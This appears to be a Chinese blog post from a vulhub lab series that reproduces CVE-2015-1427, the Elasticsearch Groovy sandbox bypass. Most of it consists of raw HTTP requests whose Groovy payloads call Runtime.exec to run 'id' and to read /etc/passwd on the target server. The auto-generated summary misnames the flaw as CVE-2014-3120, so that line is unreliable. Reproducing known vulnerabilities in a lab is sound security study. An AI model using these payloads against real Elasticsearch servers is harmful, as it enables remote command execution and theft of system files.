ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞（CVE-2015-1427）测试环境

最新推荐文章于 2024-08-11 13:41:03 发布

小白萝卜

最新推荐文章于 2024-08-11 13:41:03 发布

阅读量336

点赞数

分类专栏： vulhub漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/EC_Carrot/article/details/117410650

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

本文详细介绍了CVE-2014-3120，这是一个Elasticsearch的安全漏洞，允许攻击者通过Groovy脚本执行任意命令。漏洞利用示例包括执行`id`命令和读取`/etc/passwd`文件。了解此漏洞对于网络安全和防止恶意攻击至关重要。

摘要由CSDN通过智能技术生成

漏洞背景

该漏洞可以参考我这篇文章CVE-2014-3120

漏洞复现

照例子先插入一条数据;

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

在这里插入图片描述

然后发送包含payload的数据包，执行任意命令id：

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

在这里插入图片描述
当然也可以读文件：

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 169

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}

在这里插入图片描述